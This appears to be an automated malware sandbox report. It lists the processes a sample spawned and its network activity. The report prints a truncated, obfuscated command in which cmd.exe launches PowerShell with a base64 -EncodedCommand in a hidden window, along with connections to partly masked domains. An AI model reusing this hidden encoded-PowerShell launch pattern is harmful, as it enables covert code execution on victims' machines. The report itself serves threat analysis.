Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' & /C CD C: & POWeRshEll -enCodedCOMmaNd ZgB1AG4AYwB0AGkAbwBuACAASwBxAG4AVABuAGwAegBjAEIAUABDAHMAZwBxAGkAeQBUAGoAawBNAHAARQBFAFQAIAAoACAAJABHAHcAUgBhAE8AQgBOAGkAaABvAEoATgBKAFMAbwBsAEkAcwBLAEgAI...
Network activity
Connects to
- 'co##y.moe':443
- 'pk#.goog':80
TCP
HTTP GET requests
- http://pk#.goog/gsr1/gsr1.crt
Other
- 'co##y.moe':443
UDP
- DNS ASK co##y.moe
- DNS ASK pk#.goog
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' & /C CD C: & POWeRshEll -enCodedCOMmaNd ZgB1AG4AYwB0AGkAbwBuACAASwBxAG4AVABuAGwAegBjAEIAUABDAHMAZwBxAGkAeQBUAGoAawBNAHAARQBFAFQAIAAoACAAJABHAHcAUgBhAE8AQgBOAGkAaABvAEoATgBKAFMAbwBsAEkAcwBLAEgAI...' (with hidden window)
Executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -enCodedCOMmaNd ZgB1AG4AYwB0AGkAbwBuACAASwBxAG4AVABuAGwAegBjAEIAUABDAHMAZwBxAGkAeQBUAGoAawBNAHAARQBFAFQAIAAoACAAJABHAHcAUgBhAE8AQgBOAGkAaABvAEoATgBKAFMAbwBsAEkAcwBLAEgAIAAsACAAJABRAFUAUgBHAGsAd...
